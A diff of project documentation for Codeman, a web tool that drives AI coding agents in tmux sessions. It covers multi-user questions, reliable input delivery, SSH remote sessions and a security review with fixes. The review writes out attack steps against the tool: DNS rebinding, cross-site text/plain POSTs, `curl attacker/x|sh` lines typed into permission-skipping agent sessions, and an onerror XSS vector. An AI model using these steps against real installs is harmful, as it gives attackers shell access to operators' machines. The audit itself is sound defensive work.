+5. **Legacy case migration** is manual (admin assigns). No silent moves of user data.
+6. **Case-name uniqueness becomes per-user**; tmux session names already include the session id so no collision, but the `w<n>-<case>` tab naming and lifecycle-log rows should include the owner for disambiguation in admin views.
+7. **`workingDir` confinement (6.2) is the single most load-bearing rule**: every file-serving and agent-spawning surface downstream trusts `session.workingDir`. Review and test it as carefully as the auth branch (foreign-space path, symlink into a foreign space, `..` traversal, cron fire-time re-check).
+8. **The WS handler never sees identity today** (auth happens only in the global hook): the 5.8 wiring is new code on a security-sensitive path; cover unauthenticated, foreign-user, and admin upgrades with tests.
+
+## 15. Open Questions (answer before Phase 3)
+
+1. Should admins' own cases live in `~/codeman-users/<admin>/cases` (symmetric, proposed) or keep using legacy `~/codeman-cases`? Proposed: symmetric; legacy dir is a migration source only.
+2. Per-user settings (respawn presets, notification prefs): global-only in v1. Worth a `users/<name>/settings.json` overlay later?
+3. Should regular users be allowed to create Docker cases on admin-defined hosts (proposed: yes) or is Docker entirely admin-only?
+4. Session handoff: does an admin need "reassign session/case to another user"? (Cheap to add next to `cases/assign`; not in v1 scope.)
+5. Permission-mode grants (section 6.3): one `canBypassPermissions` flag covering Claude/Codex/Gemini bypass equivalents PLUS shell mode and cron `launchCommand` (proposed: one flag, keep it one-bit), or split into `canBypassPermissions` + `canRunArbitraryCommands`? And should admins be able to set a per-user DEFAULT mode (for example force `normal` for an intern) rather than just gating bypass?
+6. OpenCode has no single bypass flag (its permission config rides `OPENCODE_CONFIG_CONTENT`): decide what the grant means there before Phase 3, or exclude OpenCode mode for non-granted users in v1.

+# Reliable input delivery (exactly-once, durable)
+
+## The bug this fixes
+
+With local echo on, pressing Enter cleared the overlay and then sent the prompt
+over the WebSocket **fire-and-forget** (`ws.send({t:'i',d})`). On a flaky link
+(e.g. a moving train) the socket is frequently *half-open*: `readyState === OPEN`
+so `ws.send()` does **not** throw, but the underlying TCP is dead, so the frame is
+silently discarded. Nothing was enqueued (the send "succeeded"), the on-screen
+prompt was already wiped, and `navigator.onLine` stays `true` — so a long typed
+prompt vanished with no trace and no resend.
+
+## The guarantee
+
+Every byte of user input is **recorded durably before delivery** and **only
+dropped once the server ACKs it** — so a half-open socket, a reconnect, or a page
+reload can never lose input. Redelivery is **exactly-once**: the server applies
+each `(clientId, seq)` at most once, so a resend can't type the prompt twice.
+
+## How it works
+
+### Client (`app.js`)
+
+- A stable **`clientId`** (`localStorage['codeman:clientId']`) identifies this
+  browser to the server's dedup across reconnects and reloads.
+- Each input frame gets a **monotonic per-session `seq`**. Frame records
+  (`{seq,data,useMux,ts,tries,sentAt}`) live in `_pendingDeliveries`
+  (`Map<sessionId, record[]>`), persisted (debounced, + flushed on `pagehide`/
+  `visibilitychange`) to `localStorage['codeman:pendingInput']`. The seq counters
+  persist too, so seqs stay monotonic across reloads (never reset — a reset would
+  let the server treat fresh input as an already-applied duplicate).
+- **Delivery** (`_drainSession`):
+  - **WS path** — when the socket is `OPEN` for the session, send each not-yet-sent
+    record (`sentAt === 0`) in seq order over the single ordered stream. Records
+    stay pending until the server's `{t:'ia',seq}` ACK removes them.
+  - **POST path** — when no WS, POST records in order, awaiting each (the HTTP 2xx
+    *is* the ACK). A 404/410 (session gone) drops the record rather than retry
+    forever.
+- **Half-open recovery** (`_redeliverSweep`, every 2s): if the active WS session's
+  oldest record is unacked past `_reliableAckTimeoutMs` (4s), the socket is assumed
+  dead — `ws.close()` forces a fast reconnect; `onopen` (`_onWsReady`) resets
+  `sentAt = 0` and re-sends everything pending. Also re-drains background sessions
+  over POST, and fires on SSE-reconnect / `online`.
+- The connection indicator shows pending count/bytes (`_pendingBytes`).
+
+### Server
+
+- **`Session.shouldApplyInput(clientId, seq)`** — returns `true` exactly once per
+  `(clientId, seq)`: the first time a seq strictly greater than that client's
+  last-applied is seen. A replayed/lower seq returns `false`. Bounded MRU map
+  (`MAX_INPUT_DEDUP_CLIENTS = 256`).
+- **WS route** (`ws-routes.ts`) — parses optional `cid`/`seq` on `{t:'i'}`; applies
+  via `shouldApplyInput` (skips a duplicate, still ACKs with `{t:'ia',seq}` so the
+  client drops it). Untagged frames apply unconditionally (no behavior change).
+- **POST route** (`/api/sessions/:id/input`) — optional `seq`/`clientId` in
+  `SessionInputWithLimitSchema`; a deduped duplicate returns 200 without writing
+  (the 200 is the client's ACK). `curl`/legacy callers omit the fields and always
+  apply.
+
+## Known limitation
+
+Dedup state is in-memory on the server. A **server restart** between a write and
+the client's redelivery of that same seq could re-apply it (a rare duplicate).
+This is a deliberate trade-off: favor *never losing input* over a rare duplicate
+across the narrow restart window.
+
+## Tests
+
+- `test/reliable-input-dedup.test.ts` — `Session.shouldApplyInput` exactly-once
+  semantics (monotonic, per-client, gap-tolerant, eviction-safe).
+- `test/routes/session-routes.test.ts` — POST `/input` applies a tagged
+  `(clientId, seq)` once on redelivery; untagged input always applies.

+# Remote Sessions (SSH)
+
+Codeman can run a session's agent on a **remote host over SSH** instead of the
+local machine. The agent (Claude, OpenCode, Codex, Gemini, or a plain shell)
+runs inside a `tmux` server **on the remote host**, so it survives the SSH
+connection dropping; Codeman attaches to it the same way it attaches to a local
+managed session.
+
+This document covers the data model, the shell-safe SSH command construction
+(COD-107), the durable-launch design (COD-104), and the operational caveats.
+For the local session/mux machinery this builds on, see the **Mux** and
+**Session** entries in `CLAUDE.md` → Architecture.
+
+## Why it exists
+
+A developer box (`AA-DESKTOP`) often needs to drive an agent on another machine —
+a NAS, a build server, a host reachable only through a jump box or a
+cloudflared SOCKS5 proxy. Rather than wrap `ssh` by hand per host, Codeman
+stores reusable **remote hosts** + **remote cases** and reproduces the exact
+connection the operator already uses (`ssh-aa-desktop`-style configs:
+custom port, identity file, `-J` jump host, `-o ProxyCommand`).
+
+## Data model
+
+Types live in `src/types/session.ts`; persistence in `src/remote-hosts.ts`.
+
+| Type | Role |
+|------|------|
+| `RemoteSshOptions` | The **HOW-to-reach** fields, shared by host + session: `identityFile`, `socksProxy` (`host:port`), `jumpHost` (`[user@]host[:port]`), `extraSshOptions` (`KEY=VALUE[]`). Every field optional — all-absent reproduces port-22, default-identity, directly-SSH-able behavior. |
+| `RemoteHost` (extends `RemoteSshOptions`) | A saved host: `id`, `label`, `host`, `username`, `port?`, `commands?` (per-mode launch command override). |
+| `RemoteCase` | A working directory on a host: `name`, `type: 'remote'`, `hostId`, `remotePath`. |
+| `SessionRemote` (extends `RemoteSshOptions`) | The resolved bundle stamped onto a live session: host coordinates + `remotePath` + `commands`, plus **`owned?`** and **`remoteSessionName?`** (COD-105 — see [Ownership](#ownership-launched-vs-discovered-and-attached-cod-105)). Built by `toSessionRemote(host, case)` (sets `owned: true`) for the launch path, or `toAttachedSessionRemote(host, name, path)` (sets `owned: false`) for the attach path. Both copy the advanced SSH options through so every connection is identical. |
+| `RemoteCommandMode` | `Extract<SessionMode, 'shell' \| 'claude' \| 'opencode' \| 'codex' \| 'gemini'>` — the modes that can run remotely. |
+| `RemoteSessionInfo` (COD-105) | One discovered remote tmux session: `name` (always `codeman-*`), `attached` (a client is connected), `created` (epoch s), `windows`. Returned by `listRemoteCodemanSessions()`. |
+
+Persistence is two flat JSON arrays in the instance data dir:
+
+- `~/.codeman/remote-hosts.json` — `readRemoteHosts()` / `writeRemoteHosts()`
+- `~/.codeman/remote-cases.json` — `readRemoteCases()` / `writeRemoteCases()`
+
+(Paths via `remoteHostsPath()` / `remoteCasesPath()`; both honor `CODEMAN_INSTANCE`
+because the config dir is the instance data dir.)
+
+On the live `Session`, the remote rides as `_remote?: SessionRemote`. When
+attaching, `resolveMuxAttachCwd()` forces the cwd to `/tmp` for remote sessions —
+the local working directory is meaningless on the remote box.
+
+## SSH command construction (COD-107 — the injection surface)
+
+**All** SSH command lines flow through one function so user-controlled fields are
+escaped once and the launch + prereq probe can never drift apart:
+
+```ts
+// src/remote-hosts.ts
+buildSshConnectionArgs(remote: RemoteSshOptions & Pick<RemoteHost, 'port'>): string[]
+```
+
+It returns the **ordered leading tokens** of an ssh command line (no `-t`, no
+target, no remote command):
+
+```
+ssh -o BatchMode=yes
+    [-p <port>]
+    [-i <abs-identity>]            # ~ / $HOME expanded, then shellescaped
+    [-J <jumpHost>]                # shellescaped, single token
+    [-o ProxyCommand=nc -X 5 -x <socks> %h %p]   # ONE shellescaped -o token
+    [-o <KEY=VALUE>] …             # each extra option, shellescaped
+```
+
+Rules that keep this safe — **do not bypass them by hand-building an ssh line elsewhere:**
+
+- **Every** user-controlled value (`-i`, `-J`, `-o`, ProxyCommand) is POSIX
+  single-quote `shellescape`d (`'…'` with embedded `'\''`). The helper mirrors
+  the one in `tmux-manager.ts`.
+- **`~`/`$HOME` in `identityFile` is expanded at build time** (`expandIdentityPath`),
+  *before* escaping — ssh does not expand `~` inside `-i`, and the escaped value
+  never reaches a shell that would.
+- **The ProxyCommand is one shellescaped `-o KEY=VALUE` token**, so its spaces and
+  the `%h`/`%p` placeholders reach ssh as a single argument. `%h %p` survive
+  verbatim — **ssh** expands them to the real host/port, not the shell.
+- **Empty options ⇒ `['ssh', '-o BatchMode=yes']`** (+ `-p` only when set) —
+  byte-identical to the historical behavior.
+
+Token construction is unit-tested independently of any live connection (see
+`test/` for `buildSshConnectionArgs` / `buildRemoteTmuxCheckCommand` cases).
+
+## Durable launch (COD-104)
+
+`buildRemoteLaunchCommand({ mode, remote, sessionId })` in `tmux-manager.ts`
+builds the command that launches (or **reattaches** to) the remote session:
+
+```
+ssh -o BatchMode=yes -t <connection-args> user@host \
+  'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> "cd <remotePath> && exec <cli>" \; \
+     set -t codeman-ssh-<id8> status off \; set -t codeman-ssh-<id8> mouse off \; \
+     set -t codeman-ssh-<id8> prefix C-q \; set -s escape-time 0 \; \
+     set -t codeman-ssh-<id8> window-size latest'
+```
+
+Key points:
+
+- **`new-session -A -s codeman-ssh-<id8>`** = attach-if-exists-else-create, so a
+  reconnect (same deterministic `remoteTmuxSessionName(sessionId)` — `codeman-ssh-` +
+  the first 8 chars of the session id) lands back in
+  the **same** remote session rather than spawning a duplicate. This is what makes
+  the remote agent survive an SSH drop. The name deliberately fails
+  `SAFE_MUX_NAME_PATTERN` so a Codeman running ON the remote host never adopts it.
+- **`-L codeman-remote`** = a DEDICATED socket for sessions launched by remote
+  Codemans, NOT the canonical `-L codeman` socket the remote host's own Codeman
+  uses. Options are set per-session (`set -t`), never `-g`, so a shared remote
+  tmux server's other sessions are untouched (#145 hardening). Note the
+  asymmetry: **discovery/attach (COD-105) target the canonical `-L codeman`
+  socket** — they join sessions the remote's own Codeman manages, while owned
+  durable launches live on `-L codeman-remote`.
+- **`exec <cli>`** replaces the pane shell with the agent, so the pane PID *is*
+  the agent. The per-mode command comes from `remote.commands?.[mode]` or
+  `defaultRemoteCommandForMode(mode)` (`exec claude` / `exec opencode` /
+  `exec codex` / `exec gemini` / `exec bash -l`).
+- The **whole tmux invocation is a single shell-quoted ssh argument**, and the
+  pane command is independently quoted, so a `remotePath` with spaces is safe.
+- Connection options come from the **same `buildSshConnectionArgs(remote)`** as
+  the prereq probe; `-t` is inserted right after `ssh -o BatchMode=yes`,
+  preserving historical token order.
+
+### tmux prerequisite probe
+
+Because durable remote sessions require tmux on the remote host,
+`checkRemoteTmuxAvailable(host)` runs `command -v tmux` over SSH **before**
+creating a remote case/session and returns a structured, never-throwing result:
+
+- empty stdout / non-zero exit → *"remote host `<host>` needs tmux installed for
+  durable remote sessions"*
+- stderr present → *"could not verify tmux on remote host `<host>`: `<stderr>`"*
+  (a real connection failure, surfaced to the operator)
+- success → `{ ok: true, tmuxPath }`
+
+It connects with the **identical** options as the launch
+(`buildRemoteTmuxCheckCommand` reuses `buildSshConnectionArgs` and inserts
+`-o ConnectTimeout=10`), so a proxied/custom-port/identity host that the launch
+can reach also passes the probe (and vice-versa).
+
+**Test-mode short-circuit:** under `VITEST` the probe returns
+`{ ok: true, tmuxPath: '(test-mode)' }` without opening a socket — mirroring
+`TmuxManager`'s no-op-shell-under-VITEST (`IS_TEST_MODE`). Without it, remote-case
+create-path tests would hit a real ~10s ssh timeout. Only the live probe is
+skipped; command construction is still asserted by unit tests.
+
+## Ownership: launched vs. discovered-and-attached (COD-105)
+
+COD-104 (above) was Phase 1 — Codeman *launches* a remote session and owns it.
+COD-105 is Phase 2 — Codeman can also **discover** `codeman-*` tmux sessions
+already running on a remote host (created by the remote's own Codeman or another
+instance) and **attach** to one it didn't launch. Ownership decides what happens
+when the tab closes.
+
+`SessionRemote.owned` carries this:
+
+- **`owned: true`** (or absent — legacy/COD-104 sessions persisted before this
+  field) — we launched it via `buildRemoteLaunchCommand` and may explicitly kill it.
+- **`owned: false`** — discovered + attached; another Codeman owns the remote
+  session. `remoteSessionName` holds its existing tmux name. Closing the tab
+  **detaches**, never kills.
+
+### Discovery
+
+`listRemoteCodemanSessions(host)` lists the remote's `codeman-*` sessions:
+
+- `buildRemoteListSessionsCommand()` runs `tmux -L codeman list-sessions -F "…"`
+  over SSH (connection args from the shared `buildSshConnectionArgs`, so discovery
+  connects identically to launch/probe). `2>/dev/null` swallows tmux's "no server
+  running" stderr.
+- `parseRemoteSessionList()` is a **pure, unit-tested** parser. ⚠️ Quirk: the
+  remote tmux's `-F "…\t…"` format emits the **literal two-character `\t`**, not a
+  real tab (verified on tmux next-3.7), so the parser splits on `/\\t|\t/` (literal
+  backslash-t **or** a real tab, for builds that do expand it). It keeps only
+  `codeman-*` names, coerces types, and skips malformed lines.
+- `listRemoteCodemanSessions()` **never throws** — unreachable host / no tmux / no
+  sessions all map to `[]`. Like the prereq probe, it **no-ops to `[]` under
+  `VITEST`** so a request path never opens a real ssh connection.
+
+Discovery is **explicit** — the UI has a "Discover existing sessions" button per
+host; Codeman never auto-discovers on host select.
+
+### Attach vs. launch selection
+
+`buildRemoteSessionCommand(mode, remote, sessionId)` in `tmux-manager.ts` picks the
+remote command line by ownership:
+
+- **`owned === false`** → `buildRemoteAttachCommand(remote, name)` — emits
+  `ssh … -t … 'tmux -L codeman attach -t <remoteSessionName>'`. It uses **`attach`,
+  NOT `new-session -A`**, so it only *joins* an existing session and never creates
+  one.
+- **owned (default)** → `buildRemoteLaunchCommand` (the COD-104 path above).
+
+### Detach-not-kill
+
+`TmuxManager.killSession()` has an **early return for non-owned remote sessions**:
+it tears down **only the LOCAL pane** holding the ssh client (`tmux -L codeman
+kill-session` on *this* host's socket). Killing the local ssh sends SIGHUP to the
+remote `tmux attach`, which **detaches** — the durable remote session survives.
+The early return is a structural guarantee that **no code path can ever issue a
+remote `kill-session` for a session we don't own** — the only `kill-session` run is
+on the local socket, which never reaches the remote socket.
+
+## API
+
+Routes are registered in `src/web/routes/case-routes.ts`:
+
+| Method | Path | Purpose |
+|--------|------|---------|
+| `GET` | `/api/remote-hosts` | List saved hosts |
+| `POST` | `/api/remote-hosts` | Create a host |
+| `PUT` | `/api/remote-hosts/:id` | Update a host |
+| `DELETE` | `/api/remote-hosts/:id` | Delete a host |
+| `GET` | `/api/remote-hosts/:hostId/sessions` | Discover `codeman-*` sessions on the host (COD-105; `listRemoteCodemanSessions`, never errors) |
+| `POST` | `/api/cases/remote-link` | Link a case to a remote host (creates the `RemoteCase`) |
+
+Attaching to a discovered session is a **session-create** path, not a host route:
+`POST /api/sessions` accepts `attachRemoteSession: { hostId, remoteSessionName }`
+(schema in `schemas.ts`; `remoteSessionName` must match `^codeman-[a-zA-Z0-9._-]+$`),
+which `session-routes.ts` turns into a non-owned (`owned: false`) session.
+
+Frontend touchpoints: the remote-host management UI is in `session-ui.js` /
+`panels-ui.js`; a remote session is created by picking a remote host/case in the
+session-create flow, or via the per-host **"Discover existing sessions"** button →
+**Attach** action (creates an `owned: false` session).
+
+## Security notes
+
+- **`identityFile` is a path only — never key bytes.** Codeman stores the path and
+  passes it to `ssh -i`; the key never enters Codeman's state or the wire.
+- The injection surface is the SSH option fields. The single-source
+  `buildSshConnectionArgs` + `shellescape` discipline (COD-107) is the control —
+  audit any new code path that constructs an ssh command to route through it
+  rather than concatenating options inline.
+- `BatchMode=yes` means **no interactive password/passphrase prompts** — remote
+  hosts must be reachable with key-based or agent auth (or an unencrypted key the
+  agent has loaded). A host needing a passphrase will fail the probe with an ssh
+  diagnostic rather than hang.

+# Codeman Security Review — 2026-06-09
+
+> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
+> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
+> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
+> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
+> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
+> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
+> trusts an unsigned git tag — needs signing infra) and dropping CSP
+> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
+> known XSS). Per‑finding breakdown in the *Implementation status* section below;
+> regression tests in `test/network-host-guard.test.ts`.
+
+**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
+
+## TL;DR — the one thing that matters
+
+The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
+
+- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
+- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
+
+Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
+
+> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
+
+---
+
+## CRITICAL
+
+### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
+`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
+
+A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
+
+**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
+
+### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
+`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
+
+A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
+
+**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
+

+
+## HIGH
+
+### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
+`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
+`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
+**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
+
+### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
+`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
+`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
+**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
+
+### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
+`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
+The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
+**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
+
+### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
+`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
+`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
+**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
+
+### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
+`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
+WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
+**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
+
+### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
+`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
+If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
+**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
+
+### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
+`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.

+
+## MEDIUM
+
+| # | Finding | Location | Fix |
+|---|---------|----------|-----|
+| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
+| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
+| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
+| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
+| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
+| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
+| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
+
+---
+
+## LOW / INFO (hardening)
+
+- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
+- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
+- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
+- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
+- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
+- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
+- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
+- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
+- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
+
+---
+
+## What's solid (credit where due)
+
+The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
+
+- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
+- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
+- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
+- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
+- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
